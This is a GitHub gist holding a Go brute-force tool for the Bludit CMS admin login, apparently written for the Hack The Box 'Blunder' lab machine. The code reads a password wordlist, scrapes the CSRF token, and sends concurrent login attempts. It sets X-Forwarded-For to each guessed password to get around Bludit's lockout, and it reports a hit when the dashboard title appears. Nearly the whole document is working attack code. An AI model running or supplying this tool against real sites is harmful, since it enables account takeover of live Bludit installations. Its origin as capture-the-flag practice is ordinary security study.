Skip to content

Instantly share code, notes, and snippets.

@PalinuroSec
Created June 23, 2020 10:01
Show Gist options
  • Save PalinuroSec/c11108a12fced3df2adb00efd0d85cba to your computer and use it in GitHub Desktop.
Save PalinuroSec/c11108a12fced3df2adb00efd0d85cba to your computer and use it in GitHub Desktop.
htb blunder bludit bruteforce
package main
import (
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"time"
"golang.org/x/net/html"
)
type result struct {
password string
err error
}
func main() {
if len(os.Args) <= 3 {
fmt.Printf("USAGE %s <target> <username> <wordlist> [workers]\n", os.Args[0])
os.Exit(1)
}
server := os.Args[1]
user := os.Args[2]
wordlist := os.Args[3]
workers := 10
if len(os.Args) == 3 {
workers, _ = strconv.Atoi(os.Args[4])
}
fmt.Println("reading dictionary")
file, err := ioutil.ReadFile(wordlist)
if err != nil {
fmt.Printf("Can't open file: %s\n", err)
os.Exit(1)
}
pw := strings.Split(string(file), "\n")
pwchan := make(chan string, len(pw))
res := make(chan result)
fmt.Println("starting workers")
for w := 0; w < workers; w++ {
go func(string, string, <-chan string, chan result) {
for pw := range pwchan {
time.Sleep(time.Millisecond * 100)
res <- req(server, user, pw)
}
}(server, user, pwchan, res)
}
fmt.Println("feeding workers")
for _, ii := range pw {
pwchan <- ii
}
fmt.Println("looting results")
for i := 0; i < len(pw); i++ {
result := <-res
if result.err != nil {
fmt.Printf("%d %s\n", i, result.err)
}
if result.password != "" {
fmt.Printf("PASSWORD FOUND: %s\n", result.password)
break
}
}
}
func req(server, user, password string) result {
client := http.Client{
Timeout: time.Duration(30 * time.Second),
}
// retrieve CSRF token
csrf := ""
csrfRequest, err := http.Get(fmt.Sprintf("%s/admin/dashboard", server))
if err != nil {
fmt.Printf("[WARNING] can't get CSRF token for %s: %s\n", password, err)
return result{password: "", err: fmt.Errorf("[WARNING] can't get CSRF token for %s: %v", password, err)}
}
defer csrfRequest.Body.Close()
// parse the body
csrfRoot, err := html.Parse(csrfRequest.Body)
if err != nil {
fmt.Printf("[WARNING] can't get CSRF token for %s: %s\n", password, err)
return result{password: "", err: fmt.Errorf("[WARNING] can't get CSRF token for %s: %v", password, err)}
}
// search for the jstokenCSRF id
csrfTag, ok := getElementByID("jstokenCSRF", csrfRoot)
if !ok {
fmt.Printf("[WARNING] CSRF token for %s not found\n", password)
return result{password: "", err: fmt.Errorf("[WARNING] CSRF token for %s not found", password)}
}
// extract the content of the "value" field
for _, i := range csrfTag.Attr {
if i.Key == "value" {
csrf = i.Val
}
}
form := url.Values{}
form.Add("tokenCSRF", csrf)
form.Add("username", user)
form.Add("password", password)
form.Add("save", "")
request, err := http.NewRequest("POST", fmt.Sprintf("%s/admin/dashboard", server), strings.NewReader(form.Encode()))
if err != nil {
fmt.Printf("[WARNING] can't build request for %s: %s\n", password, err)
return result{password: "", err: fmt.Errorf("[WARNING] can't build request for %s: %v", password, err)}
}
request.Header.Set("X-Forwarded-For", password)
request.Header.Set("User-Agent", "'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36")
request.Header.Set("Referer", fmt.Sprintf("%s/admin/dashboard", server))
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
answer, err := client.Do(request)
if err != nil {
fmt.Printf("[WARNING] can't get answer for %s: %s\n", password, err)
return result{password: "", err: fmt.Errorf("[WARNING] can't get answer for %s: %v", password, err)}
}
defer answer.Body.Close()
if title, ok := getHTMLTitle(answer.Body); ok {
if title == "Bludit - Dashboard" {
return result{password: password, err: nil}
}
}
if password == "RolandDeschain" {
fmt.Println("\tPASSWORD TRIED")
}
fmt.Println(answer.StatusCode)
return result{password: "", err: fmt.Errorf("[INFO] tried password %s", password)}
}
func getElementByID(id string, n *html.Node) (element *html.Node, ok bool) {
for _, a := range n.Attr {
if a.Key == "id" && a.Val == id {
return n, true
}
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
if element, ok = getElementByID(id, c); ok {
return
}
}
return
}
func isTitleElement(n *html.Node) bool {
return n.Type == html.ElementNode && n.Data == "title"
}
func traverse(n *html.Node) (string, bool) {
if isTitleElement(n) {
return n.FirstChild.Data, true
}
for c := n.FirstChild; c != nil; c = c.NextSibling {
result, ok := traverse(c)
if ok {
return result, ok
}
}
return "", false
}
func getHTMLTitle(r io.Reader) (string, bool) {
doc, err := html.Parse(r)
if err != nil {
panic("Fail to parse html")
}
return traverse(doc)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment